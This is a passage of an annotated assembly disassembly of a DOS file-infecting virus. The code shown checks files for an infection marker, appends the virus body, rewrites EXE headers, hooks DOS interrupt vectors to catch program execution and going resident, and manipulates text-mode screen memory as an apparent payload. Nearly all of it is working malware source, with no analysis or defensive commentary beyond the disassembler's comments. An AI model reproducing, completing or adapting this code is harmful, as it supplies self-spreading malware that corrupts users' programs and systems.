  667.         shr    cx,1            ; Shift w/zeros fill
  668.         shr    cx,1            ; Shift w/zeros fill
  669.         shr    cx,1            ; Shift w/zeros fill
  670.         shr    cx,1            ; Shift w/zeros fill
  671.         shl    ax,1            ; Shift w/zeros fill
  672.         shl    ax,1            ; Shift w/zeros fill
  673.         shl    ax,1            ; Shift w/zeros fill
  674.         shl    ax,1            ; Shift w/zeros fill
  675.         add    si,ax
  676.         adc    cx,0
  677.         sub    si,3
  678.         sbb    cx,0
  679.         mov    ax,[di+8]
  680.         call    sub_8            ; (0751)
  681.         add    si,ax
  682.         adc    cx,dx
  683.         mov    dx,si
  684.         pop    si
  685.         mov    ax,4200h
  686.         int    21h            ; DOS Services  ah=function 42h
  687.                         ;  move file ptr, cx,dx=offset
  688.         mov    dx,di
  689.         add    dx,1Ch
  690.         mov    ah,3Fh            ; '?'
  691.         mov    cx,3
  692.         int    21h            ; DOS Services  ah=function 3Fh
  693.                         ;  read file, cx=bytes, to ds:dx
  694.         call    sub_7            ; (06AB)
  695.         jnc    loc_46            ; Jump if carry=0
  696.         mov    cs:data_58[si],1    ; (6FB8:0155=0)
  697.         retn
  698.  
  699. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  700. ;
  701. ;         Called from:     6FB8:0603, 069F
  702.  
  703. sub_7:
  704.         cmp    word ptr [di+1Ch],4756h
  705.         jne    loc_45            ; Jump if not equal
  706.         cmp    byte ptr [di+1Eh],31h    ; '1'
  707.         jne    loc_45            ; Jump if not equal
  708. loc_43:                        ;  xref 6FB8:0657
  709.         stc                ; Set carry flag
  710.  
  711. loc_ret_44:                    ;  xref 6FB8:06E0
  712.         retn
  713. loc_45:                        ;  xref 6FB8:06B0, 06B6
  714.         clc                ; Clear carry flag
  715.         retn
  716. loc_46:                        ;  xref 6FB8:06A2
  717.         call    sub_9            ; (0764)
  718.         mov    word ptr ds:[880h][si],ax    ; (6FB8:0880=687h)
  719.         mov    word ptr ds:[882h][si],dx    ; (6FB8:0882=90h)
  720.         mov    cx,[di+4]
  721.         shl    cx,1            ; Shift w/zeros fill
  722.         xchg    ch,cl
  723.         mov    bp,cx
  724.         and    bp,0FF00h
  725.         xor    ch,ch            ; Zero register
  726.         add    bp,[di+6]
  727.         adc    cx,0
  728.         sub    bp,ax
  729.         sbb    cx,dx
  730.         jc    loc_ret_44        ; Jump if carry Set
  731.         push    ax
  732.         push    dx
  733.         push    word ptr [di+18h]
  734.         mov    byte ptr [di+18h],0FFh
  735.         mov    cx,5
  736.         mov    ah,40h            ; '@'
  737.         mov    dx,di
  738.         add    dx,14h
  739.         int    21h            ; DOS Services  ah=function 40h
  740.                         ;  write file cx=bytes, to ds:dx
  741.         pop    word ptr [di+18h]
  742.         mov    dx,si
  743.         add    dx,5
  744.         mov    cx,0BF5h
  745.         mov    ah,40h            ; '@'
  746.         int    21h            ; DOS Services  ah=function 40h
  747.                         ;  write file cx=bytes, to ds:dx
  748.         mov    ax,4200h
  749.         xor    cx,cx            ; Zero register
  750.         xor    dx,dx            ; Zero register
  751.         int    21h            ; DOS Services  ah=function 42h
  752.                         ;  move file ptr, cx,dx=offset
  753.         pop    word ptr [di+16h]
  754.         pop    word ptr [di+14h]
  755.         add    word ptr [di+14h],0FAh
  756.         adc    word ptr [di+16h],0
  757.         mov    ax,[di+8]
  758.         call    sub_8            ; (0751)
  759.         sub    [di+14h],ax
  760.         sbb    [di+16h],dx
  761.         mov    cl,0Ch
  762.         shl    word ptr [di+16h],cl    ; Shift w/zeros fill
  763.         mov    ax,0BFAh
  764.         add    ax,[di+2]
  765.         mov    [di+2],ax
  766.         and    word ptr [di+2],1FFh
  767.         mov    al,ah
  768.         xor    ah,ah            ; Zero register
  769.         shr    ax,1            ; Shift w/zeros fill
  770.         add    [di+4],ax
  771.         mov    dx,di
  772.         mov    cx,1Ch
  773.         mov    ah,40h            ; '@'
  774.         int    21h            ; DOS Services  ah=function 40h
  775.                         ;  write file cx=bytes, to ds:dx
  776.         clc                ; Clear carry flag
  777.         retn
  778. sub_6        endp
  779.  
  780.  
  781. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  782. ;                   SUBROUTINE
  783. ;
  784. ;         Called from:     6FB8:0684, 0721
  785. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  786.  
  787. sub_8        proc    near
  788.         xor    dx,dx            ; Zero register
  789.         shl    ax,1            ; Shift w/zeros fill
  790.         rcl    dx,1            ; Rotate thru carry
  791.         shl    ax,1            ; Shift w/zeros fill
  792.         rcl    dx,1            ; Rotate thru carry
  793.         shl    ax,1            ; Shift w/zeros fill
  794.         rcl    dx,1            ; Rotate thru carry
  795.         shl    ax,1            ; Shift w/zeros fill
  796.         rcl    dx,1            ; Rotate thru carry
  797.         retn
  798. sub_8        endp
  799.  
  800.  
  801. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  802. ;                   SUBROUTINE
  803. ;
  804. ;         Called from:     6FB8:05E0, 060F, 06BC
  805. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  806.  
  807. sub_9        proc    near
  808.         xor    dx,dx            ; Zero register
  809.         xor    cx,cx            ; Zero register
  810.         mov    ax,4202h
  811.         int    21h            ; DOS Services  ah=function 42h
  812.                         ;  move file ptr, cx,dx=offset
  813.         retn
  814. sub_9        endp
  815.  
  816.  
  817. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  818. ;                   SUBROUTINE
  819. ;
  820. ;         Called from:     6FB8:0263, 04B2
  821. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  822.  
  823. sub_10        proc    near
  824.         xor    ax,ax            ; Zero register
  825.         mov    ds,ax
  826.         lds    di,dword ptr ds:data_11e    ; (0000:009C=10BCh) Load 32 bit ptr
  827.         lds    di,dword ptr [di+1]    ; Load 32 bit ptr
  828.         mov    ax,di
  829.         sub    di,75Fh
  830.         call    sub_11            ; (07AB)
  831.         jz    loc_ret_47        ; Jump if zero
  832.         mov    di,ax
  833.         sub    di,755h
  834.         call    sub_11            ; (07AB)
  835.         jz    loc_ret_47        ; Jump if zero
  836.         lds    di,dword ptr ds:data_27e    ; (00AE:0080=4EFFh) Load 32 bit ptr
  837.         lds    di,dword ptr [di+1]    ; Load 32 bit ptr
  838.         mov    ax,di
  839.         sub    di,676h
  840.         call    sub_11            ; (07AB)
  841.         jz    loc_ret_47        ; Jump if zero
  842.         mov    di,ax
  843.         sub    di,673h
  844.         call    sub_11            ; (07AB)
  845.  
  846. loc_ret_47:                    ;  xref 6FB8:0782, 078D, 079F
  847.         retn
  848. sub_10        endp
  849.  
  850.  
  851. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  852. ;                   SUBROUTINE
  853. ;
  854. ;         Called from:     6FB8:077F, 078A, 079C, 07A7
  855. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  856.  
  857. sub_11        proc    near
  858.         xor    dx,dx            ; Zero register
  859.         cmp    word ptr [di],4756h
  860.         jne    loc_48            ; Jump if not equal
  861.         cmp    byte ptr [di+2],31h    ; '1'
  862.         je    loc_49            ; Jump if equal
  863. loc_48:                        ;  xref 6FB8:07B1
  864.         inc    dx
  865. loc_49:                        ;  xref 6FB8:07B7
  866.         sub    di,0F7h
  867.         or    dx,dx            ; Zero ?
  868.         retn
  869. sub_11        endp
  870.  
  871.  
  872. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  873. ;                   SUBROUTINE
  874. ;
  875. ;         Called from:     6FB8:07DE, 07E4, 07EA, 07F0, 0864, 086A, 0870
  876. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  877.  
  878. sub_12        proc    near
  879.         mov    al,0EAh
  880.         stosb                ; Store al to es:[di]
  881.         mov    ax,cx
  882.         add    ax,si
  883.         stosw                ; Store ax to es:[di]
  884.         mov    ax,cs
  885.         stosw                ; Store ax to es:[di]
  886.  
  887. loc_ret_50:                    ;  xref 6FB8:07CF
  888.         retn
  889. sub_12        endp
  890.  
  891.  
  892. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  893. ;                   SUBROUTINE
  894. ;
  895. ;         Called from:     6FB8:04F4
  896. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  897.  
  898. sub_13        proc    near
  899.         or    dx,dx            ; Zero ?
  900.         jz    loc_ret_50        ; Jump if zero
  901.         push    ds
  902.         push    es
  903.         mov    es,ds:data_39e[si]    ; (6FB8:00E0=0)
  904.         mov    di,data_46e        ; (6FB8:00EC=0)
  905.         cld                ; Clear direction
  906.         mov    cx,9A8h
  907.         call    sub_12            ; (07C1)
  908.         mov    cx,76Ah
  909.         call    sub_12            ; (07C1)
  910.         mov    cx,7BEh
  911.         call    sub_12            ; (07C1)
  912.         mov    cx,84Ch
  913.         call    sub_12            ; (07C1)
  914.         xor    ax,ax            ; Zero register
  915.         mov    ds,ax
  916.         cli                ; Disable interrupts
  917.         mov    ax,0ECh
  918.         xchg    ax,ds:data_3e        ; (0000:0070=0FF53h)
  919.         mov    word ptr cs:[0A88h][si],ax    ; (6FB8:0A88=49A0h)
  920.         mov    ax,es
  921.         xchg    ax,ds:data_4e        ; (0000:0072=0F000h)
  922.         mov    word ptr cs:[0A8Ah][si],ax    ; (6FB8:0A8A=0B904h)
  923.         mov    ax,0F1h
  924.         xchg    ax,ds:data_5e        ; (0000:0080=1094h)
  925.         mov    word ptr cs:[76Eh][si],ax    ; (6FB8:076E=0C033h)
  926.         mov    ax,es
  927.         xchg    ax,ds:data_6e        ; (0000:0082=123h)
  928.         mov    word ptr cs:[770h][si],ax    ; (6FB8:0770=0D88Eh)
  929.         mov    ax,0F6h
  930.         xchg    ax,ds:data_7e        ; (0000:0084=109Eh)
  931.         mov    word ptr cs:[7DCh][si],ax    ; (6FB8:07DC=9A8h)
  932.         mov    ax,es
  933.         xchg    ax,ds:data_8e        ; (0000:0086=123h)
  934.         mov    word ptr cs:[7DEh][si],ax    ; (6FB8:07DE=0E0E8h)
  935.         mov    ax,0FBh
  936.         xchg    ax,ds:data_11e        ; (0000:009C=10BCh)
  937.         mov    word ptr cs:[857h][si],ax    ; (6FB8:0857=6C3h)
  938.         mov    ax,es
  939.         xchg    ax,word ptr ds:data_11e+2    ; (0000:009E=123h)
  940.         mov    word ptr cs:[859h][si],ax    ; (6FB8:0859=848Eh)
  941.         pop    es
  942.         pop    ds
  943.         sti                ; Enable interrupts
  944.         retn
  945. sub_13        endp
  946.  
  947.  
  948. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  949. ;                   SUBROUTINE
  950. ;
  951. ;         Called from:     6FB8:08F2
  952. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  953.  
  954. sub_14        proc    near
  955.         push    es
  956.         mov    es,word ptr ds:[0E0h][si]    ; (0000:00E0=10DAh)
  957.         mov    di,data_21e        ; (0000:00F1=10h)
  958.         cld                ; Clear direction
  959.         mov    cx,76Dh
  960.         call    sub_12            ; (07C1)
  961.         mov    cx,7E0h
  962.         call    sub_12            ; (07C1)
  963.         mov    cx,856h
  964.         call    sub_12            ; (07C1)
  965.         pop    es
  966.         retn
  967. sub_14        endp
  968.  
  969.  
  970. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  971. ;                   SUBROUTINE
  972. ;
  973. ;         Called from:     6FB8:024A, 0938
  974. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  975.  
  976. sub_15        proc    near
  977.         push    es
  978.         xor    ax,ax            ; Zero register
  979.         mov    es,ax
  980.         mov    ax,85Bh
  981.         add    ax,si
  982.         xchg    ax,es:data_9e        ; (0000:0090=156h)
  983.         mov    ds:data_18e[si],ax    ; (0000:00EA=123h)
  984.         mov    ax,cs
  985.         xchg    ax,es:data_10e        ; (0000:0092=44Bh)
  986.         mov    ds:data_19e[si],ax    ; (0000:00EC=10DAh)
  987.         pop    es
  988.         mov    byte ptr ds:data_20e[si],0    ; (0000:00EE=23h)
  989.         retn
  990. sub_15        endp
  991.  
  992.  
  993. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  994. ;                   SUBROUTINE
  995. ;
  996. ;         Called from:     6FB8:0499, 0981
  997. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  998.  
  999. sub_16        proc    near
  1000.         push    es
  1001.         xor    ax,ax            ; Zero register
  1002.         mov    es,ax
  1003.         mov    ax,cs:data_45e[si]    ; (6FB8:00EA=0)
  1004.         mov    es:data_9e,ax        ; (0000:0090=156h)
  1005.         mov    ax,cs:data_46e[si]    ; (6FB8:00EC=0)
  1006.         mov    es:data_10e,ax        ; (0000:0092=44Bh)
  1007.         pop    es
  1008.         retn
  1009. sub_16        endp
  1010.  
  1011.         jmp    short loc_53        ; (08EA)
  1012.         nop
  1013. ;*        jmp    far ptr loc_2        ;*(029B:136C)
  1014.         db    0EAh, 6Ch, 13h, 9Bh, 02h
  1015.  
  1016. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1017. ;                   SUBROUTINE
  1018. ;
  1019. ;         Called from:     6FB8:0247, 08CB, 08EC, 0935
  1020. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1021.  
  1022. sub_17        proc    near
  1023.         pop    bx
  1024.         push    ds
  1025.         push    ax
  1026.         push    ds
  1027.         push    cs
  1028.         pop    ds
  1029.         call    sub_18            ; (08C4)
  1030.  
  1031. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1032. ;
  1033. ;         Called from:     6FB8:08C1
  1034.  
  1035. sub_18:
  1036.         pop    si
  1037.         sub    si,77Bh
  1038.         jmp    bx            ;*Register jump
  1039. loc_51:                        ;  xref 6FB8:0918, 091D
  1040.         call    sub_17            ; (08BB)
  1041.         push    cx
  1042.         mov    ax,[si+7]
  1043.         mov    cx,es
  1044.         cmp    ax,cx
  1045.         pop    cx
  1046.         pop    ds
  1047.         pop    ax
  1048.         jnz    loc_52            ; Jump if not zero
  1049.         push    cs
  1050.         pop    es
  1051.         cmp    ah,49h            ; 'I'
  1052.         je    loc_52            ; Jump if equal
  1053.         add    bx,1D0h
  1054. loc_52:                        ;  xref 6FB8:08D9, 08E0
  1055.         pop    ds
  1056.         jmp    short loc_55        ; (0924)
  1057.         db    90h
  1058. loc_53:                        ;  xref 6FB8:08B3, 090A, 0913
  1059.         xor    dx,dx            ; Zero register
  1060. loc_54:                        ;  xref 6FB8:090F
  1061.         call    sub_17            ; (08BB)
  1062.         push    es
  1063.         push    dx
  1064.         cli                ; Disable interrupts
  1065.         call    sub_14            ; (0858)
  1066.         sti                ; Enable interrupts
  1067.         pop    ax
  1068.         mov    dx,1D0h
  1069.         add    dx,ax
  1070.         add    dx,10h
  1071.         pop    es
  1072.         pop    ds
  1073.         pop    ax
  1074.         pop    ds
  1075.         mov    ah,31h            ; '1'
  1076.         jmp    short loc_55        ; (0924)
  1077.         cmp    ah,4Ch            ; 'L'
  1078.         je    loc_53            ; Jump if equal
  1079.         cmp    ah,31h            ; '1'
  1080.         je    loc_54            ; Jump if equal
  1081.         or    ah,ah            ; Zero ?
  1082.         jz    loc_53            ; Jump if zero
  1083.         cmp    ah,49h            ; 'I'
  1084.         je    loc_51            ; Jump if equal
  1085.         cmp    ah,4Ah            ; 'J'
  1086.         je    loc_51            ; Jump if equal
  1087.         cmp    ah,4Bh            ; 'K'
  1088.         je    loc_56            ; Jump if equal
  1089. loc_55:                        ;  xref 6FB8:08E7, 0905, 0993
  1090. ;*        jmp    far ptr loc_4        ;*(0E4C:035D)
  1091.         db    0EAh, 5Dh, 03h, 4Ch, 0Eh
  1092.         db     80h,0FCh, 4Bh, 75h,0F6h
  1093. loc_56:                        ;  xref 6FB8:0922
  1094.         push    cx
  1095.         push    dx
  1096.         push    es
  1097.         push    bx
  1098.         push    si
  1099.         push    di
  1100.         push    bp
  1101.         call    sub_17            ; (08BB)
  1102.         call    sub_15            ; (0875)
  1103. loc_57:                        ;  xref 6FB8:0941, 0949
  1104.         sti                ; Enable interrupts
  1105.         test    byte ptr ds:data_26e,2    ; (0000:0972=74h)
  1106.         jnz    loc_57            ; Jump if not zero
  1107.         cli                ; Disable interrupts
  1108.         test    byte ptr ds:data_26e,2    ; (0000:0972=74h)
  1109.         jnz    loc_57            ; Jump if not zero
  1110.         or    byte ptr ds:data_26e,2    ; (0000:0972=74h)
  1111.         pop    ds
  1112.         mov    bx,dx
  1113.         mov    byte ptr cs:data_40e[si],0FFh    ; (6FB8:00E2=0)
  1114.         cmp    byte ptr [bx+1],3Ah    ; ':'
  1115.         jne    loc_58            ; Jump if not equal
  1116.         mov    al,[bx]
  1117.         or    al,20h            ; ' '
  1118.         sub    al,61h            ; 'a'
  1119.         mov    cs:data_40e[si],al    ; (6FB8:00E2=0)
  1120. loc_58:                        ;  xref 6FB8:095D
  1121.         push    si
  1122.         push    di
  1123.         push    es
  1124.         cld                ; Clear direction
  1125.         mov    si,dx
  1126.         push    cs
  1127.         pop    es
  1128.         mov    di,offset ds:[984h]    ; (6FB8:0984=2Eh)
  1129. loc_59:                        ;  xref 6FB8:0979
  1130.         lodsb                ; String [si] to al
  1131.         stosb                ; Store al to es:[di]
  1132.         or    al,al            ; Zero ?
  1133.         jnz    loc_59            ; Jump if not zero
  1134.         pop    es
  1135.         pop    di
  1136.         pop    si
  1137.         call    sub_5            ; (056E)
  1138.         call    sub_16            ; (089A)
  1139.         and    byte ptr cs:[972h],0FDh    ; (6FB8:0972=0BFh)
  1140.         pop    ax
  1141.         pop    ds
  1142.         pop    bp
  1143.         pop    di
  1144.         pop    si
  1145.         pop    bx
  1146.         pop    es
  1147.         pop    dx
  1148.         pop    cx
  1149.         jmp    short loc_55        ; (0924)
  1150. sub_17        endp
  1151.  
  1152.         db     83h,0C2h, 0Fh,0B1h, 04h,0D3h
  1153.         db    0EAh,0E9h, 4Dh,0FFh,0EAh,0FEh
  1154.         db     5Dh, 9Bh, 02h, 56h,0E8h, 00h
  1155.         db     00h, 5Eh, 81h,0EEh, 5Fh, 08h
  1156.         db     2Eh, 80h, 8Ch,0EEh, 00h, 01h
  1157.         db     5Eh, 32h,0C0h,0CFh, 01h, 00h
  1158.         db     00h, 00h, 8Ah, 00h, 00h, 00h
  1159.         db     00h, 5Fh,0FEh, 00h, 00h, 00h
  1160.         db     00h,0B8h, 00h, 00h, 49h, 00h
  1161.         db     00h, 00h
  1162.         db    'A:\TEST3066.COM'
  1163.  
  1164.  
  1165.         db     00h, 00h, 00h, 45h, 58h, 45h
  1166.         db     00h, 45h, 00h
  1167.         db    143 dup (0)
  1168. loc_60:                        ;  xref 6FB8:0AEF
  1169.         push    cx
  1170.         push    ds
  1171.         push    es
  1172.         push    si
  1173.         push    di
  1174.         push    cs
  1175.         pop    es
  1176.         cld                ; Clear direction
  1177.         test    al,20h            ; ' '
  1178.         jz    loc_63            ; Jump if zero
  1179.         test    al,2
  1180.         jnz    loc_64            ; Jump if not zero
  1181.         xor    ax,ax            ; Zero register
  1182.         mov    ds,ax
  1183.         mov    al,ds:data_25e        ; (0000:0449=3)
  1184.         mov    cx,0B800h
  1185.         cmp    al,7
  1186.         jne    loc_61            ; Jump if not equal
  1187.         mov    cx,0B000h
  1188.         jmp    short loc_62        ; (0A9F)
  1189. loc_61:                        ;  xref 6FB8:0A90
  1190.         cmp    al,2
  1191.         je    loc_62            ; Jump if equal
  1192.         cmp    al,3
  1193.         jne    loc_64            ; Jump if not equal
  1194. loc_62:                        ;  xref 6FB8:0A95, 0A99
  1195.         mov    word ptr cs:[97Ch],cx    ; (6FB8:097C=5E5Fh)
  1196.         or    byte ptr cs:[972h],2    ; (6FB8:0972=0BFh)
  1197.         mov    word ptr cs:[97Eh],0    ; (6FB8:097E=0EDE8h)
  1198.         mov    ds,cx
  1199.         mov    cx,7D0h
  1200.         xor    si,si            ; Zero register
  1201.         mov    di,offset ds:[0CF5h]    ; (6FB8:0CF5=0BEh)
  1202.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  1203.         xor    ax,ax            ; Zero register
  1204.         mov    ds,ax
  1205.         mov    ax,0B92h
  1206.         xchg    ax,ds:data_1e        ; (0000:0024=45h)
  1207.         mov    word ptr cs:[973h],ax    ; (6FB8:0973=984h)
  1208.         mov    ax,cs
  1209.         xchg    ax,ds:data_2e        ; (0000:0026=3D1h)
  1210.         mov    word ptr cs:[975h],ax    ; (6FB8:0975=0AAACh)
  1211. loc_63:                        ;  xref 6FB8:0A7E
  1212.         mov    cx,50h
  1213.         mov    ax,0F00h
  1214.         mov    di,offset data_54    ; (6FB8:0105=9)
  1215.         rep    stosw            ; Rep when cx >0 Store ax to es:[di]
  1216.         and    byte ptr cs:[972h],7    ; (6FB8:0972=0BFh)
  1217. loc_64:                        ;  xref 6FB8:0A82, 0A9D
  1218.         pop    di
  1219.         pop    si
  1220.         pop    es
  1221.         pop    ds
  1222.         pop    cx
  1223.         jmp    loc_76            ; (0BCF)
  1224. loc_65:                        ;  xref 6FB8:0AFE
  1225.         jmp    short loc_60        ; (0A74)
  1226.         push    ax
  1227.         mov    byte ptr cs:[979h],0    ; (6FB8:0979=75h)
  1228.         mov    al,byte ptr cs:[972h]    ; (6FB8:0972=0BFh)
  1229.         test    al,60h            ; '`'
  1230.         jnz    loc_65            ; Jump if not zero
  1231.         test    al,80h
  1232.         jz    loc_68            ; Jump if zero
  1233.         cmp    word ptr cs:[97Eh],0    ; (6FB8:097E=0EDE8h)
  1234.         je    loc_66            ; Jump if equal
  1235.         inc    word ptr cs:[97Eh]    ; (6FB8:097E=0EDE8h)
  1236.         cmp    word ptr cs:[97Eh],444h    ; (6FB8:097E=0EDE8h)
  1237.         jl    loc_66            ; Jump if <
  1238.         call    sub_19            ; (0C25)
  1239.         jmp    loc_76            ; (0BCF)
  1240. loc_66:                        ;  xref 6FB8:0B0A, 0B18
  1241.         test    al,18h
  1242.         jz    loc_67            ; Jump if zero
  1243.         dec    word ptr cs:[977h]    ; (6FB8:0977=0C00Ah)
  1244.         jnz    loc_67            ; Jump if not zero
  1245.         and    byte ptr cs:[972h],0E7h    ; (6FB8:0972=0BFh)
  1246.         or    byte ptr cs:[972h],40h    ; (6FB8:0972=0BFh) '@'
  1247.         test    al,8
  1248.         jz    loc_67            ; Jump if zero
  1249.         or    byte ptr cs:[972h],20h    ; (6FB8:0972=0BFh) ' '
  1250. loc_67:                        ;  xref 6FB8:0B22, 0B29, 0B39, 0B4C
  1251.         jmp    loc_76            ; (0BCF)
  1252. loc_68:                        ;  xref 6FB8:0B02
  1253.         xor    byte ptr cs:[972h],1    ; (6FB8:0972=0BFh)
  1254.         test    al,1
  1255.         jz    loc_67            ; Jump if zero
  1256.         push    bx
  1257.         push    si
  1258.         push    ds
  1259.         mov    ds,word ptr cs:[97Ch]    ; (6FB8:097C=5E5Fh)
  1260.         xor    si,si            ; Zero register
  1261.         mov    byte ptr cs:[96Eh],0    ; (6FB8:096E=8Bh)
  1262. loc_69:                        ;  xref 6FB8:0BB5
  1263.         mov    bx,cs:data_54[si]    ; (6FB8:0105=0CD09h)
  1264.         or    bx,bx            ; Zero ?
  1265.         jz    loc_70            ; Jump if zero
  1266.         cmp    byte ptr [bx+si],20h    ; ' '
  1267.         jne    loc_70            ; Jump if not equal
  1268.         cmp    byte ptr ds:data_31e[bx+si],20h    ; (5E5F:FF60=0FFh) ' '
  1269.         je    loc_70            ; Jump if equal
  1270.         mov    ax,720h
  1271.         xchg    ax,ds:data_31e[bx+si]    ; (5E5F:FF60=0FFFFh)
  1272.         mov    [bx+si],ax
  1273.         add    bx,0A0h
  1274. loc_70:                        ;  xref 6FB8:0B65, 0B6A, 0B71
  1275.         cmp    bx,data_30e        ; (5E5F:0FA0=0FFh)
  1276.         je    loc_71            ; Jump if equal
  1277.         cmp    byte ptr [bx+si],20h    ; ' '
  1278.         jne    loc_71            ; Jump if not equal
  1279.         jnz    loc_74            ; Jump if not zero
  1280. loc_71:                        ;  xref 6FB8:0B84, 0B89
  1281.         mov    bx,data_29e        ; (5E5F:0F00=0FFh)
  1282. loc_72:                        ;  xref 6FB8:0BA2
  1283.         cmp    byte ptr [bx+si],20h    ; ' '
  1284.         jne    loc_73            ; Jump if not equal
  1285.         cmp    byte ptr ds:data_31e[bx+si],20h    ; (5E5F:FF60=0FFh) ' '
  1286.         jne    loc_74            ; Jump if not equal
  1287. loc_73:                        ;  xref 6FB8:0B93
  1288.         sub    bx,0A0h
  1289.         or    bx,bx            ; Zero ?
  1290.         jnz    loc_72            ; Jump if not zero
  1291. loc_74:                        ;  xref 6FB8:0B8B, 0B9A
  1292.         mov    cs:data_54[si],bx    ; (6FB8:0105=0CD09h)
